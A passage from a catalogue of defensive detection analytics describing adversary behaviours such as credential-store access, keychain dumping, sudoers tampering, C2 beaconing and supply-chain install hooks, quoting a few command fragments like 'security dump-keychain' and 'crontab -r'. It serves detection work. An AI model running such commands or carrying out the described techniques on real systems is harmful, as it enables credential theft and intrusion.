Description:

From a defender’s perspective, suspicious bridging is observed when network devices begin allowing traffic that contradicts existing segmentation or access policies. Observable behaviors include sudden modifications to ACLs or firewall rules, unusual cross-boundary traffic flows (e.g., east-west communications across separated VLANs), or simultaneous ingress/egress anomalies. Multi-event correlation is key: configuration changes on a router/firewall followed by unexpected traffic patterns, especially from unusual sources, is a strong indicator of compromise.


[AN0016] Analytic 0016

Current version: 1.0

Description:

Adversary uses nltest, PowerShell, or Win32/.NET API to enumerate domain trust relationships (via DSEnumerateDomainTrusts, GetAllTrustRelationships, or LDAP queries), followed by discovery or authentication staging.


[AN0017] Analytic 0017

Current version: 1.0

Description:

Cloud login from atypical geolocation or user-agent string, followed by resource enumeration or infrastructure manipulation using cloud CLI/API


[AN0018] Analytic 0018

Current version: 1.0

Description:

Federated login using SSO or OAuth grant to cloud control plane, followed by directory or permissions enumeration


[AN0019] Analytic 0019

Current version: 1.0

Description:

Login to M365 or Google Workspace from CLI tools or unexpected source IPs, followed by mailbox or document access


[AN0020] Analytic 0020

Current version: 1.0

Description:

Remote access to third-party SaaS with OAuth or API tokens post-initial compromise, followed by sensitive data access or configuration changes


[AN0021] Analytic 0021

Current version: 1.0

Description:

Adversary manipulates dependencies/dev tools used by developers or CI: a package manager (npm/yarn/pnpm, pip/pipenv, nuget/dotnet, chocolatey/winget, maven/gradle) or a compiler/IDE downloads or restores content; files are written under project paths and execution paths (node_modules, packages, .nuget, .gradle, .m2, %AppData%\npm, %UserProfile%.cargo\bin, temp build dirs). First run of newly written components triggers scripts (preinstall/postinstall), shell/PowerShell spawning, or loader DLLs, followed by network egress to non-approved registries/CDNs.


[AN0022] Analytic 0022

Current version: 1.0

Description:

Developer or CI invokes package managers/compilers (apt/yum + build-essential, npm/yarn/pnpm, pip/pip3, gem, cargo, go, maven/gradle). These write executable or script files into PATH or project dirs and immediately execute embedded lifecycle hooks (preinstall/postinstall, setup.py, npm scripts) that spawn shells or curl/wget, followed by egress to unfamiliar registries or domains.


[AN0023] Analytic 0023

Current version: 1.0

Description:

Developer tools (Homebrew, pip, npm/yarn, Xcode builds) install or update dependencies; new Mach-O or scripts appear under /usr/local, /opt/homebrew, ~/Library/Application Support, project dirs (node_modules/.bin, venv/bin). First run spawns sh/zsh/osascript/curl and new outbound flows; Gatekeeper/AMFI may flag unsigned components.


[AN0024] Analytic 0024

Current version: 1.0

Description:

Correlates unexpected modifications to WMI event filters, scheduled task triggers, or registry autorun keys with subsequent execution of non-standard binaries by SYSTEM-level processes.


[AN0025] Analytic 0025

Current version: 1.0

Description:

Detects inotify or auditd configuration changes that monitor system files coupled with execution of script interpreters or binaries by cron or systemd timers.


[AN0026] Analytic 0026

Current version: 1.0

Description:

Correlates launchd plist modifications with subsequent unauthorized script execution or anomalous parent-child process trees involving user agents.


[AN0027] Analytic 0027

Current version: 1.0

Description:

Monitors cloud function creation triggered by specific audit log events (e.g., IAM changes, object creation), followed by anomalous behavior from new service accounts.


[AN0028] Analytic 0028

Current version: 1.0

Description:

Correlates Power Automate or similar logic app workflows triggered by SaaS file uploads or email rules with data forwarding or anomalous access patterns.


[AN0029] Analytic 0029

Current version: 1.0

Description:

Detects macros or VBA triggers set to execute on document open or close events, often correlating with embedded payloads or C2 traffic shortly after execution.


[AN0030] Analytic 0030

Current version: 1.0

Description:

Processes generating large outbound connections with disproportionate send/receive ratios, often to uncommon ports or hosts, potentially inserting meaningless data into protocol payloads.


[AN0031] Analytic 0031

Current version: 1.0

Description:

Outbound traffic with anomalous payload sizes and patterns from non-networking processes, often observed via packet inspection or connection logs.


[AN0032] Analytic 0032

Current version: 1.0

Description:

Previously unseen applications generating outbound connections with atypical data flow characteristics, such as excessive data with no return response.


[AN0033] Analytic 0033

Current version: 1.0

Description:

Anomalous traffic from ESXi host management daemons (like hostd or vpxa) embedding non-standard payloads in management protocols (e.g., HTTPS) or beaconing behavior.


[AN0034] Analytic 0034

Current version: 1.0

Description:

Discrepancies between VBA source code and p-code inside Office documents. Defender perspective: anomalies in file metadata streams, execution of Office processes loading macros without source code consistency, and script execution with no corresponding source metadata.


[AN0035] Analytic 0035

Current version: 1.0

Description:

Execution of Wine or LibreOffice macros with inconsistent VBA metadata. Defender perspective: file analysis showing p-code embedded without matching source streams.


[AN0036] Analytic 0036

Current version: 1.0

Description:

Opening of Office files where VBA source code appears benign or missing, but p-code remains active. Defender perspective: process execution of Office apps with macro execution lacking visible source components.


[AN0037] Analytic 0037

Current version: 1.0

Description:

Access to browser artifact locations (e.g., Chrome, Edge, Firefox) by processes like PowerShell, cmd.exe, or unknown tools, followed by file reads, decoding, or export operations indicating enumeration of bookmarks, autofill, or history databases.


[AN0038] Analytic 0038

Current version: 1.0

Description:

Unauthorized shell or script-based access to browser config or SQLite history files, typically in ~/.config/google-chrome/, ~/.mozilla/, or ~/.var/app folders, indicating enumeration of bookmarks or saved credentials.


[AN0039] Analytic 0039

Current version: 1.0

Description:

Scripting or CLI tool access to ~/Library/Application Support/Google/Chrome or ~/Library/Safari bookmarks, cookies, or history databases. Detection relies on unexpected processes accessing or reading from these locations.


[AN0040] Analytic 0040

Current version: 1.0

Description:

Detects staging of sensitive files into temporary or public directories, compression with 7zip/WinRAR, or batch copy prior to exfiltration.


[AN0041] Analytic 0041

Current version: 1.0

Description:

Detects script or user activity copying files to a central temp or /mnt directory followed by archive/compression utilities.


[AN0042] Analytic 0042

Current version: 1.0

Description:

Detects files collected into user temp or shared directories followed by compression with ditto, zip, or custom scripts.


[AN0043] Analytic 0043

Current version: 1.0

Description:

Detects virtual disk expansion or file copy operations to cloud buckets or mounted volumes from isolated instances.


[AN0044] Analytic 0044

Current version: 1.0

Description:

Detects snapshots or data stored in VMFS volumes from root CLI or remote agents.


[AN0045] Analytic 0045

Current version: 1.0

Description:

Detects unusual command executions and service modifications that indicate self-patching or disabling of vulnerable services post-compromise. Defenders should monitor for service stop commands, suspicious process termination, and execution of binaries or scripts aligned with known patching or service management tools outside of expected admin contexts.


[AN0046] Analytic 0046

Current version: 1.0

Description:

Detects adversary attempts to monopolize control of compromised systems by issuing service stop commands, unloading vulnerable modules, or forcefully killing competing processes. Defenders should monitor audit logs and syslog for administrative utilities (systemctl, service, kill) being invoked outside of normal change management.


[AN0047] Analytic 0047

Current version: 1.0

Description:

Detects unauthorized termination of system daemons or commands issued through launchctl or kill to stop competing services or malware processes. Defenders should monitor unified logs and EDR telemetry for unusual service modifications or terminations.


[AN0048] Analytic 0048

Current version: 1.0

Description:

Adversary executes commands to enumerate installed antivirus, EDR, or firewall agents using WMI, registry queries, and built-in tools (e.g., tasklist, netsh, sc query). Correlated with elevated process privileges or scripting engine usage.


[AN0049] Analytic 0049

Current version: 1.0

Description:

Adversary runs discovery commands such as ps aux, systemctl status, or cat /etc/init.d/ to enumerate security software or services. Often occurs alongside privilege escalation or bash script execution.


[AN0050] Analytic 0050

Current version: 1.0

Description:

Adversary attempts to detect monitoring agents such as Little Snitch, KnockKnock, or other system daemons via process listing (ps -e), application folder checks, and system extension listing.


[AN0051] Analytic 0051

Current version: 1.0

Description:

Correlated modification of AppCompat registry keys and execution of sdbinst.exe to install custom shim databases. Followed by DLL injection via shim behavior into target application processes.


[AN0052] Analytic 0052

Current version: 1.0

Description:

A process (often LOLBin or user-launched program) loads a DLL from a user-writable/UNC/Temp path or unsigned/invalid signer. Within a short window the DLL is (a) newly written to disk, (b) spawned as follow-on execution (rundll32/regsvr32), or (c) establishes outbound C2.


[AN0053] Analytic 0053

Current version: 1.0

Description:

A process loads a shared object (.so) via dlopen/LD_PRELOAD/open from non-standard or temporary locations (e.g., /tmp, /dev/shm), especially shortly after that .so is written or fetched, or linked via manipulated environment variables (LD_PRELOAD/LD_LIBRARY_PATH).


[AN0054] Analytic 0054

Current version: 1.0

Description:

A process loads a non-system .dylib/.so via dyld (dlopen/dlsym) from user-writable locations (~/Library, /tmp) or after the library was recently created/downloaded, often followed by network egress or persistence.


[AN0055] Analytic 0055

Current version: 1.0

Description:

Executable or script payloads lacking symbol information and readable strings that are created or dropped by unusual or short-lived processes.


[AN0056] Analytic 0056

Current version: 1.0

Description:

Executable or binary files created without symbol tables or with stripped sections, especially by non-user shell processes or compilers invoked outside standard dev paths.


[AN0057] Analytic 0057

Current version: 1.0

Description:

Creation of run-only AppleScripts or Mach-O binaries lacking symbol table and string references, especially when dropped by user space scripting engines or staging apps.


[AN0058] Analytic 0058

Current version: 1.0

Description:

Inbound binary payloads transferred over HTTP/S with compressed or encoded headers, lacking signature markers or metadata indicative of compiler/toolchain.


[AN0059] Analytic 0059

Current version: 1.0

Description:

Detects modification of shell startup/logout scripts such as ~/.bashrc, ~/.bash_profile, or /etc/profile, followed by anomalous process execution or network connections upon interactive or remote shell login.


[AN0060] Analytic 0060

Current version: 1.0

Description:

Correlates zsh shell configuration file changes (e.g., ~/.zshrc, ~/.zlogin, /etc/zprofile) with execution of unauthorized binaries or unexpected network activity triggered on Terminal.app launch.


[AN0061] Analytic 0061

Current version: 1.0

Description:

Adversary disables or stops critical services (e.g., Exchange, SQL, AV, endpoint monitoring) using native utilities or API calls, often preceding destructive actions (T1485, T1486). Behavioral chain: Elevated execution context + stop-service or sc.exe or ChangeServiceConfigW + terminated or disabled service + possible follow-up file manipulation.


[AN0062] Analytic 0062

Current version: 1.0

Description:

Adversary executes systemctl or service stop targeting high-value services (e.g., mysql, sshd), possibly followed by rm or shred against data stores. Behavioral chain: sudo/su usage + stop command + /var/log/messages or syslog entries + file access/delete.


[AN0063] Analytic 0063

Current version: 1.0

Description:

Use of launchctl to stop services or kill critical background processes (e.g., securityd, com.apple.*), typically followed by command-line tools like rm or diskutil. Behavioral chain: Terminal or remote shell + launchctl bootout/disable + process termination + follow-on modification.


[AN0064] Analytic 0064

Current version: 1.0

Description:

Attacker disables VM-related services or stops VMs forcibly to target vmdk or logs. Behavioral chain: esxcli or vim-cmd stop + audit log showing user privilege use + datastore file manipulation.


[AN0065] Analytic 0065

Current version: 1.0

Description:

Adversary stages a lure that references a remote resource (e.g., LNK/SCF/Office template). When the user opens/renders the file or a shell enumerates icons, the host automatically attempts SMB or WebDAV authentication to the attacker host. The chain is: (1) lure file is created or modified in a user-exposed location → (2) user or system accesses the lure → (3) host makes outbound NTLM (SMB 139/445 or WebDAV over 80/443) to an untrusted destination → (4) repeated attempts from multiple users/hosts or from privileged workstations.


[AN0066] Analytic 0066

Current version: 1.0

Description:

Detection of unpacking behavior through abnormal memory allocation, followed by executable code injection and execution from non-image sections.


[AN0067] Analytic 0067

Current version: 1.0

Description:

Correlates ELF file execution with high-entropy writable memory segments and self-modifying code patterns.


[AN0068] Analytic 0068

Current version: 1.0

Description:

Detection of packed Mach-O binaries unpacking into memory and transferring control to dynamically modified code segments.


[AN0069] Analytic 0069

Current version: 1.0

Description:

Detects unauthorized access, copying, or modification of Kerberos ccache files (krb5cc_%UID% or krb5.ccache) in /tmp or custom paths defined by KRB5CCNAME. Correlates file access with suspicious processes (e.g., credential dumping tools) and subsequent anomalous Kerberos authentication requests from non-standard processes.


[AN0070] Analytic 0070

Current version: 1.0

Description:

Detects abnormal interaction with memory-based Kerberos ccache (API:{uuid}) or file-based overrides. Focus on processes attempting to enumerate or extract Kerberos tickets outside of built-in utilities. Detects use of open-source tools (e.g., Bifrost, modified Mimikatz ports) that interact with the Kerberos framework APIs.


[AN0071] Analytic 0071

Current version: 1.0

Description:

Abuse of trusted Electron apps (Teams, Slack, Chrome) to spawn child processes or execute payloads via malicious command-line arguments (e.g., --gpu-launcher) and modified app resources (.asar). Behavior chain: suspicious parent process (Electron app) → unusual command-line args → child process creation → optional DLL/network artifacts.


[AN0072] Analytic 0072

Current version: 1.0

Description:

Abuse of Linux Electron binaries by modifying app.asar or config JS files and spawning unexpected child processes (bash, curl, python).


[AN0073] Analytic 0073

Current version: 1.0

Description:

Abuse of macOS Electron apps by modifying app.asar bundles and spawning child processes (osascript, curl, sh) from Electron executables.


[AN0074] Analytic 0074

Current version: 1.0

Description:

Correlated registry modifications under Print Processors path, followed by DLL file creation within the system print processor directory, and DLL load by spoolsv.exe. Malicious execution often occurs during service restart or system boot, with SYSTEM-level privileges.


[AN0075] Analytic 0075

Current version: 1.0

Description:

Detects unexpected or high-volume HTTP/S/WebSocket communication from suspicious processes (e.g., PowerShell, rundll32) using uncommon user agents or mimicking browser traffic to unusual domains or IPs.


[AN0076] Analytic 0076

Current version: 1.0

Description:

Detects curl, wget, Python requests, or custom HTTP clients communicating over non-standard ports, with repetitive or beacon-like patterns or POST-heavy behavior to rare domains.


[AN0077] Analytic 0077

Current version: 1.0

Description:

Detects applications such as Automator, AppleScript, or LaunchDaemons invoking HTTP/S traffic to non-standard domains or using suspicious headers (e.g., Base64 in URIs or cookie fields).


[AN0078] Analytic 0078

Current version: 1.0

Description:

Detects HTTP or HTTPS communication initiated by shell-based scripts or management daemons, especially those reaching public IPs over ports 80/443 using embedded curl or wget.


[AN0079] Analytic 0079

Current version: 1.0

Description:

Detects Web protocol misuse such as encoded HTTP headers, WebSocket upgrade requests with abnormal payloads, or TLS handshake anomalies suggesting embedded C2 channels.


[AN0080] Analytic 0080

Current version: 1.0

Description:

Processes invoking network-intensive child processes or uploading large data volumes, often from non-standard user or system contexts, with evidence of long-duration TCP/UDP sessions to unusual destinations.


[AN0081] Analytic 0081

Current version: 1.0

Description:

User-initiated processes generating sustained outbound traffic over common or non-standard ports, often outside business hours, potentially linked to scanning or proxyjacking. Includes curl, wget, masscan, or proxy clients.


[AN0082] Analytic 0082

Current version: 1.0

Description:

Suspicious long-lived or high-throughput connections by non-Apple signed apps or processes not commonly associated with network uploads. Detect background processes using open sockets for data egress.


[AN0083] Analytic 0083

Current version: 1.0

Description:

Containerized apps or sidecar containers generating excessive outbound traffic or being leveraged for proxy networks. Includes sudden increases in network interface stats, especially in dormant or low-util apps.


[AN0084] Analytic 0084

Current version: 1.0

Description:

Virtual instances or workloads generating sustained outbound data rates, often to TOR, VPN, or proxy endpoints. Often coincides with unusual IAM usage or deployed scripts (e.g., cron jobs using proxy clients).


[AN0085] Analytic 0085

Current version: 1.0

Description:

Adversary uses a tool like Ruler to insert a malicious custom form into the user's Outlook mailbox. The form is designed to auto-execute on Outlook startup or on receipt of a specially crafted email. This results in child processes launched from outlook.exe and possibly network connections or payload loading.


[AN0086] Analytic 0086

Current version: 1.0

Description:

Outlook form execution upon message receipt or client launch results in automated code execution within user session. Form definitions deviate from standard templates and include script logic or COM object calls embedded in form fields.


[AN0087] Analytic 0087

Current version: 1.0

Description:

Detects modifications to IAM conditions or policies that alter authentication behavior, such as adding permissive trusted IPs, removing MFA requirements, or changing regional access restrictions. Behavioral detection focuses on anomalous policy updates tied to privileged accounts and subsequent suspicious logon activity from previously blocked regions or devices.


[AN0088] Analytic 0088

Current version: 1.0

Description:

Detects suspicious updates to conditional access or MFA enforcement policies in identity providers such as Entra ID, Okta, or JumpCloud. Focus is on removal of policy blocks, addition of broad exclusions, or registration of adversary-controlled MFA methods, followed by anomalous login activity that takes advantage of the modified policies.


[AN0089] Analytic 0089

Current version: 1.0

Description:

Execution of binaries with invalid digital signatures, where metadata claims code is signed but validation fails. Behavior is often correlated with suspicious parent processes or unexpected execution paths.


[AN0090] Analytic 0090

Current version: 1.0

Description:

Binaries or applications executed with tampered or unverifiable code signatures. Often tied to Gatekeeper bypasses, App Translocation, or use of unsigned launch daemons by untrusted users.


[AN0091] Analytic 0091

Current version: 1.0

Description:

Suspicious use of attrib.exe or PowerShell commands to set hidden attributes on files/directories. Defender view: processes modifying file attributes to 'hidden' or creating files with ADS (alternate data streams).


[AN0092] Analytic 0092

Current version: 1.0

Description:

Creation of files or directories with a leading '.' in privileged directories (/etc, /var, /usr/bin). Defender view: monitoring auditd logs for file creations where name begins with '.' and correlated with unusual user/process context.


[AN0093] Analytic 0093

Current version: 1.0

Description:

Use of chflags hidden or SetFile -a V commands to hide files, or creation of hidden files with leading '.'. Defender view: monitoring process execution and file metadata changes setting UF_HIDDEN attribute.


[AN0094] Analytic 0094

Current version: 1.0

Description:

Defenders can observe suspicious replacement or tampering of system accessibility binaries (e.g., utilman.exe, sethc.exe, osk.exe) and anomalous modifications to registry keys used to redirect accessibility programs (such as IFEO keys). Additionally, execution of cmd.exe or other suspicious binaries triggered from the login screen by SYSTEM can be correlated as part of a behavior chain.


[AN0095] Analytic 0095

Current version: 1.0

Description:

Identifies adversary behavior that launches commands or invokes APIs to enumerate active processes (e.g., tasklist.exe, Get-Process, or CreateToolhelp32Snapshot). Detects execution combined with parent process lineage, network session context, or remote origin.


[AN0096] Analytic 0096

Current version: 1.0

Description:

Detects execution of common process enumeration utilities (e.g., ps, top, htop) or access to /proc with suspicious ancestry. Correlates command usage with interactive shell context and user role.


[AN0097] Analytic 0097

Current version: 1.0

Description:

Monitors execution of ps, top, or launchctl with unusual parent processes or from terminal scripts. Also detects AppleScript-based process listing or system_profiler SPApplicationsDataType misuse.


[AN0098] Analytic 0098

Current version: 1.0

Description:

Detects process enumeration using esxcli system process list or ps on ESXi shell or via unauthorized SSH sessions. Correlates with interactive sessions and abnormal user roles.


[AN0099] Analytic 0099

Current version: 1.0

Description:

Monitors CLI-based execution of show process or equivalent on routers/switches. Correlates unusual device access, unauthorized roles, or config mode changes.


[AN0100] Analytic 0100

Current version: 1.0

Description:

Suspicious processes initiating encrypted HTTPS connections to common web service domains, followed by abnormal data upload behavior or automated posting behavior indicative of C2 bidirectional traffic.


[AN0101] Analytic 0101

Current version: 1.0

Description:

Non-interactive system processes making encrypted HTTPS connections to well-known web services followed by high outbound traffic volume or scripted upload patterns.


[AN0102] Analytic 0102

Current version: 1.0

Description:

Scripting engines (e.g., osascript, Python) initiating HTTPS requests to social media or content-sharing platforms, paired with automated response handling indicative of two-way communication.


[AN0103] Analytic 0103

Current version: 1.0

Description:

Adversary registers new devices to compromised user accounts to bypass MFA or conditional access policies via Azure Entra ID, Okta, or Duo self-enrollment portals.


[AN0104] Analytic 0104

Current version: 1.0

Description:

Adversary registers a Windows device to Entra ID or bypasses conditional access by adding device via Intune registration pipeline using stolen credentials.


[AN0105] Analytic 0105

Current version: 1.0

Description:

Detects unauthorized access to web browser credential stores (e.g., Chrome Login Data, Edge Credential Locker) by processes other than the browser itself. Correlates file reads of credential databases with subsequent API calls to CryptUnprotectData or memory inspection attempts.


[AN0106] Analytic 0106

Current version: 1.0

Description:

Detects attempts to access browser credential stores (e.g., Firefox logins.json, Chrome SQLite DB) or processes (e.g., gnome-keyring-daemon). Observes unauthorized file reads and memory inspection of browser processes using ptrace or gdb.


[AN0107] Analytic 0107

Current version: 1.0

Description:

Detects abnormal access to Safari credential stores (Keychain-backed) or Chrome/Firefox login databases. Observes processes executing security dump-keychain or directly reading credential files in ~/Library/Application Support. Correlates file access with suspicious process ancestry or unsigned binaries.


[AN0108] Analytic 0108

Current version: 1.0

Description:

Executables written or modified in installer directories (e.g., %TEMP% subdirectories or Program Files installer paths) followed by execution under elevated context. Defender observes abnormal file replacement activity, process creation by installer processes pointing to attacker-supplied binaries, and unexpected module loads in elevated processes.


[AN0109] Analytic 0109

Current version: 1.0

Description:

Correlate high-frequency or anomalous DNS query activity with processes that do not normally generate network requests (e.g., Office apps, system utilities). Detect pseudo-random or high-entropy domain lookups indicative of domain generation algorithms (DGAs).


[AN0110] Analytic 0110

Current version: 1.0

Description:

Monitor /var/log/audit/audit.log and DNS resolver logs for repeated failed lookups or connections to high-entropy domain names. Correlate suspicious DNS queries with process lineage (e.g., Python, bash, or unusual system daemons).


[AN0111] Analytic 0111

Current version: 1.0

Description:

Inspect unified logs for anomalous DNS resolutions triggered by non-network applications. Flag repeated connections to newly registered or algorithmically generated domains. Correlate with endpoint process telemetry.


[AN0112] Analytic 0112

Current version: 1.0

Description:

Monitor esxcli and syslog records for DNS resolver changes or repeated queries to unusual external domains by management agents. Detect unauthorized changes to VM or host network settings that redirect DNS lookups.


[AN0113] Analytic 0113

Current version: 1.0

Description:

Detects adversary activity that removes persistence artifacts such as services, registry keys, scheduled tasks, user accounts, and binaries through commands like sc delete, schtasks /delete, or reg delete.


[AN0114] Analytic 0114

Current version: 1.0

Description:

Detects removal of persistence artifacts such as crontab entries, systemd service units, and malicious user accounts through commands like crontab -r, rm /etc/systemd/system/*.service, or userdel.


[AN0115] Analytic 0115

Current version: 1.0

Description:

Detects deletion of launch agents (~/Library/LaunchAgents/) and launch daemons (/Library/LaunchDaemons/), especially after suspicious process execution or when tied to known persistence methods.


[AN0116] Analytic 0116

Current version: 1.0

Description:

Detects adversary removal of persistence implants (e.g., rc.local entries or crontab injections) via CLI (rm, sed, crontab -r) and deletion of startup or management scripts.


[AN0117] Analytic 0117

Current version: 1.0

Description:

Adversary with write access to storage modifies lifecycle policies (e.g., via PutBucketLifecycle) to schedule rapid object deletion across one or more storage buckets. This is often used to trigger impact (destruction), remove logs (defense evasion), or force extortion (ransomware).


[AN0118] Analytic 0118

Current version: 1.0

Description:

Detects abuse of verclsid.exe to execute COM objects by monitoring process creation, CLSID arguments, DLLs or scriptlet engines loaded into memory, and If the CLSID points to remote SCT/HTA content, verclsid.exe makes outbound connections.


[AN0119] Analytic 0119

Current version: 1.0

Description:

Unusual process or API usage attempting to query system locale, timezone, or keyboard layout (e.g., calls to GetLocaleInfoW, GetTimeZoneInformation). Detection can be enhanced by correlating with processes not typically associated with system configuration queries, such as unknown binaries or scripts.


[AN0120] Analytic 0120

Current version: 1.0

Description:

Detection of commands accessing locale, timezone, or language settings such as 'locale', 'timedatectl', or parsing /etc/timezone. Anomalous execution by unusual users or automation scripts should be flagged.


[AN0121] Analytic 0121

Current version: 1.0

Description:

Detection of system calls or commands accessing system locale (e.g., 'defaults read -g AppleLocale', 'systemsetup -gettimezone'). Correlate with unusual parent processes or execution contexts.


[AN0122] Analytic 0122

Current version: 1.0

Description:

Detection of queries to instance metadata services (e.g., AWS IMDS, Azure Metadata Service) for availability zone, region, or network geolocation details. Correlation with non-management accounts or non-standard workloads may indicate adversary reconnaissance.


[AN0123] Analytic 0123

Current version: 1.0

Description:

Installation of a new browser extension followed by suspicious file writes or outbound network connections to untrusted domains by the browser process.


[AN0124] Analytic 0124

Current version: 1.0

Description:

Installation of malicious .mobileconfig profiles or browser extension plist entries followed by abnormal browser child process activity.


[AN0125] Analytic 0125

Current version: 1.0

Description:

Manual or scripted installation of Chrome extensions using user scripts or config files, followed by unexpected network connections from browser processes.


[AN0126] Analytic 0126

Current version: 1.0

Description:

Inconsistencies between process command-line arguments logged at creation time and subsequent process behavior. Defender perspective: monitoring for processes launched in a suspended state, followed by memory modifications (e.g., WriteProcessMemory targeting the PEB) that overwrite arguments before execution resumes. Detection also includes observing anomalous behaviors from processes whose logged arguments do not align with executed activity (e.g., network connections, file writes, or registry modifications).


[AN0127] Analytic 0127

Current version: 1.0

Description:

Execution of discovery commands or API calls for virtualization artifacts (e.g., registry keys, device drivers, services), sleep/skipped execution behavior, or sandbox evasion DLLs before payload deployment.


[AN0128] Analytic 0128

Current version: 1.0

Description:

Execution of commands to enumerate virtualization-related files or processes (e.g., '/sys/class/dmi/id/product_name', dmesg, lscpu, lspci), or querying hypervisor interfaces prior to malware execution.


[AN0129] Analytic 0129

Current version: 1.0

Description:

Execution of scripts or binaries that check for virtualization indicators (e.g., system_profiler, ioreg -l, kextstat), combined with delay functions or anomalous launchd activity.


[AN0130] Analytic 0130

Current version: 1.0

Description:

Detection focuses on processes that attempt to locate, access, or exfiltrate local Outlook data files (.pst/.ost) using file system access, native Windows utilities (e.g., PowerShell, WMI), or remote access tools with file browsing capabilities. The behavior chain includes directory enumeration, file access, optional compression or staging, and network transfer.


[AN0131] Analytic 0131

Current version: 1.0

Description:

Detects adversaries accessing remote mail systems (e.g., Exchange Online, O365) using stolen credentials or OAuth tokens, followed by scripted access to mailbox contents via PowerShell, AADInternals, or unattended API queries. Detection focuses on abnormal logon sessions, user agents, IP locations, and scripted or tool-based email data access.


[AN0132] Analytic 0132

Current version: 1.0

Description:

Monitors programmatic access to user mailboxes in cloud-based email systems (e.g., O365, Exchange Online) using APIs or tokens. Focuses on OAuth misuse, suspicious MailItemsAccessed patterns, scripted keyword searches, and connections from untrusted agents or locations.


[AN0133] Analytic 0133

Current version: 1.0

Description:

Detects attempts to clear RDP/network history and modify network configuration artifacts through command execution, registry key deletion, firewall rule changes, and suspicious file deletions (e.g., Default.rdp, registry edits to Terminal Server Client keys).


[AN0134] Analytic 0134

Current version: 1.0

Description:

Detects deletion or overwriting of logs/configs that store SSH or proxy activity, such as /var/log/auth.log or custom .bash_history clearing tied to SSH sessions or firewall rule changes.


[AN0135] Analytic 0135

Current version: 1.0

Description:

Detects removal of Remote Login or Screen Sharing logs in Unified Logging, deletion of com.apple.UTun, or suspicious Terminal use of rm, sudo pfctl -F all to clear network state/config history.


[AN0136] Analytic 0136

Current version: 1.0

Description:

Detects firewall rule modifications or reset of logs/connection tables (e.g., clear logging, erase startup-config, write erase) following remote access activity on routers, switches, or VPN appliances.


[AN0137] Analytic 0137

Current version: 1.0

Description:

An adversary writes or drops a malicious Office Add-in (e.g., WLL, XLL, COM) to a trusted directory or modifies registry keys to load malicious add-ins on Office application launch. Upon user opening Word or Excel, the add-in is automatically loaded, triggering execution of the payload, often spawning scripting engines or anomalous child processes.


[AN0138] Analytic 0138

Current version: 1.0

Description:

Malicious Office add-ins loaded via VSTO, COM, or VBA auto-load paths. Upon launch of Word/Excel/Outlook, the add-in executes code without user action. Add-in resides in trusted directory or registered via Office COM/VBE subsystem. Behavior includes unsigned add-in execution, anomalous load context, or add-in spawning interpreter process.


[AN0139] Analytic 0139

Current version: 1.0

Description:

Creation or modification of files in directories known to be excluded from AV scanning (e.g., C:\Windows\Temp, Exchange server directories, or default AV exclusions). Defender perspective: correlate file creation with execution behavior or anomalous parent processes writing to excluded paths.


[AN0140] Analytic 0140

Current version: 1.0

Description:

Adversaries writing or moving payloads into directories configured as AV/EDR exclusion paths (e.g., /tmp, /var/lib, or custom directories from auditd exclusion rules). Defender perspective: detect file creation in paths matching known exclusions correlated with unusual parent processes.


[AN0141] Analytic 0141

Current version: 1.0

Description:

Suspicious file creation or modification in directories ignored by XProtect or AV exclusions (e.g., ~/Library, temporary cache directories). Defender perspective: monitor file events in ignored paths with correlation to execution or persistence activity.


[AN0142] Analytic 0142

Current version: 1.0

Description:

Correlate command executions involving 'sudo' with elevated effective user ID (euid=0), especially when tty_tickets is disabled or timestamp_timeout is actively abused.


[AN0143] Analytic 0143

Current version: 1.0

Description:

Detect sudo activity with NOPASSWD in /etc/sudoers or disabling tty_tickets, followed by immediate privileged commands (e.g., echo 'Defaults !tty_tickets' >> /etc/sudoers).


[AN0144] Analytic 0144

Current version: 1.0

Description:

Detects excessive outbound traffic to remote host over HTTP(S) from uncommon or previously unseen processes.


[AN0145] Analytic 0145

Current version: 1.0

Description:

Identifies custom or previously unseen userland processes initiating high-volume HTTP connections with low response volume.


[AN0146] Analytic 0146

Current version: 1.0

Description:

Flags unexpected user applications initiating long-lived HTTP(S) sessions with irregular traffic patterns.


[AN0147] Analytic 0147

Current version: 1.0

Description:

Sequence of internal email sent from a recently compromised user account (preceded by abnormal logon or device activity), with attachments or links leading to execution or credential harvesting. Defender observes: internal mail delivery to peers with high entropy attachments, followed by click events, process initiation, or credential prompts.


[AN0148] Analytic 0148

Current version: 1.0

Description:

Delivery of suspicious internal communication (e.g., Thunderbird, Evolution) using compromised internal accounts. Sequence of: unexpected user activity + mail transfer logs + download or execution of attachments.


[AN0149] Analytic 0149

Current version: 1.0

Description:

Abnormal Apple Mail use, including internal email relays followed by file execution or script events (e.g., attachments launched via Preview, terminal triggered from Mail.app)


[AN0150] Analytic 0150

Current version: 1.0

Description:

Internal spearphishing via SaaS applications (e.g., Slack, Teams, Gmail): message sent from compromised user with attachment or URL, followed by click and credential access behavior.


[AN0151] Analytic 0151

Current version: 1.0

Description:

Outlook or Word used to forward suspicious internal attachments with macro content. Defender observes attachment forwarding, auto-opening behaviors, or macro prompt interactions.


[AN0152] Analytic 0152

Current version: 1.0

Description:

Detection of adversary attempts to enumerate Group Policy settings through suspicious command execution (gpresult), PowerShell enumeration (Get-DomainGPO, Get-DomainGPOLocalGroup), and abnormal LDAP queries targeting groupPolicyContainer objects. Defenders observe unusual process lineage, script execution, or LDAP filter activity against domain controllers.


[AN0153] Analytic 0153

Current version: 1.0

Description:

Detection of unauthorized modifications to Windows root certificate stores by monitoring registry keys, certificate installation processes, and creation of new certificate entries not in baseline trusted lists.


[AN0154] Analytic 0154

Current version: 1.0

Description:

Detection of unexpected additions or modifications to system-wide certificate stores or execution of commands adding certificates to trusted stores.


[AN0155] Analytic 0155

Current version: 1.0

Description:

Detection of malicious certificate installation via monitoring execution of the security add-trusted-cert command and modifications to system keychains.


[AN0156] Analytic 0156

Current version: 1.0

Description:

Detects suspicious memory access attempts targeting the securityd process. Observes tools invoking process memory read operations (e.g., ptrace, task_for_pid) against securityd. Correlates with anomalous parent process lineage, root privilege escalation, or repeated unauthorized attempts.


[AN0157] Analytic 0157

Current version: 1.0

Description:

Detects adversaries attempting to attach debuggers or memory dump utilities to credential storage daemons analogous to macOS securityd. Observes ptrace syscalls, /proc//mem access, or gcore dumps against sensitive processes. Correlates anomalies with privilege escalation or credential dumping attempts.


[AN0158] Analytic 0158

Current version: 1.0

Description:

Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).


[AN0159] Analytic 0159

Current version: 1.0

Description:

Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).


[AN0160] Analytic 0160

Current version: 1.0

Description:

